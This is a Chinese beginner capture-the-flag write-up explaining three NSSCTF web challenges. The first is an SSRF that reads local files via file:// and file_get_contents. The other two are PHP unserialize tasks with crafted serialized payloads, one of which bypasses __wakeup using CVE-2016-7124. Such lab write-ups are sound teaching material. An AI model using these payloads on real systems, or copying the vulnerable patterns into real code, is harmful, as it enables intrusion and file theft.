目录
[NISACTF 2022]easyssrf
[SWPUCTF 2021 新生赛]ez_unserialize
[SWPUCTF 2021 新生赛]no_wakeup
这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。
想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。
[NISACTF 2022]easyssrf
[NISACTF 2022]easyssrf |
curl网站 curl可以用于向远程服务器发送http请求,并获取服务器的响应
也就是从他的电脑上发送
我们可以通过file://来查看他的文件 file://是文件协议的url在url中使用file:///可以指定本地文件的路径,类似于在操作系统中通过绝对路径访问本地文件。
发现他说查看fl4g我们查看fl4g
这里显示要我们查看ha1x1ux1u.php
<?phphighlight_file(__FILE__); #通过highlight_file让当前代码显示到页面上
error_reporting(0); #过滤错误信息$file = $_GET["file"]; #通过get方法获取file变量并赋值给file
if (stristr($file, "file")){ #if判断 stristr用于匹配$file中含不含有file如果含有则输出你败了die("你败了.");
}//flag in /flag
echo file_get_contents($file); #通过file_get_contents读取$file 并通过echo输出到页面上
这里因为通过file_get_content会读取file变量指定的文件,也就是我们通过指定flag文件通过file_get_contents打开并会输出到桌面 所以我们指定file的值为/flag
[SWPUCTF 2021 新生赛]ez_unserialize
[SWPUCTF 2021 新生赛]ez_unserialize |
f12发现disallow
Robots 协议(也称为爬虫协议、机器人协议等)的全称是 “网络爬虫排除标准”(Robots Exclusion Protocol),网站通过 Robots 协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
disallow就是爬虫不能搜索的所以我们去看看robots
<?phperror_reporting(0); #通过error_reporting屏蔽报错
show_source("cl45s.php"); #将c145s.php的代码显示到页面上class wllm{ #定义了一个wllm类public $admin; #公共变量adminpublic $passwd; #公共变量passwdpublic function __construct(){ #construct当类创建时调用$this->admin ="user"; #指定admin的值为user$this->passwd = "123456"; #指定passwd的值为123456}public function __destruct(){ #destruct当对象要销毁时调用if($this->admin === "admin" && $this->passwd === "ctf"){ #if判断 admin的值是不是admin passwd的值是不是ctfinclude("flag.php"); #include包含flag 当if判断成立时执行echo $flag; #输出flag }else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p']; #通过get方法获取p并赋值给p
unserialize($p); #对p进行反序列话?>
这里我们要序列话admin 值为admin passwd值为ctf
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
[SWPUCTF 2021 新生赛]no_wakeup
[SWPUCTF 2021 新生赛]no_wakeup |
<?phpheader("Content-type:text/html;charset=utf-8"); #用于发送http报头
error_reporting(0); #屏蔽错误信息
show_source("class.php"); #将class.php的代码显示到页面上class HaHaHa{ #定义一个叫HaHaHa的类public $admin; #定义公共adminpublic $passwd; #定义公共passwdpublic function __construct(){ #当类调用时执行$this->admin ="user"; #赋值admin user值$this->passwd = "123456"; #赋值passwd 123456值}public function __wakeup(){ #在反序列化后立即调用$this->passwd = sha1($this->passwd); #将passwd的值进行哈希加密}public function __destruct(){ #当类快要结束时调用if($this->admin === "admin" && $this->passwd === "wllm"){ #if判断 admin的值是不是admin passwd的值是不是wllminclude("flag.php"); #通过include包含flag.phpecho $flag; #输出flag}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p']; #通过get方法获取到p并赋值给Letmeseesee
unserialize($Letmeseesee); #反序列话Letmeseesee?>
这里和上面一题差不多就是多了和wakeup对密码进行哈希加密,我们进行绕过处理
漏洞名字叫CVE-2016-7124
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
CVE-2016-7124绕过影响的版本PHP5 < 5.6.25;PHP7 < 7.0.10
若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
这里我们HaHaHa中有2个对象属性,我们保证序列化字符串中的对象属性大于2就可以绕过wakeup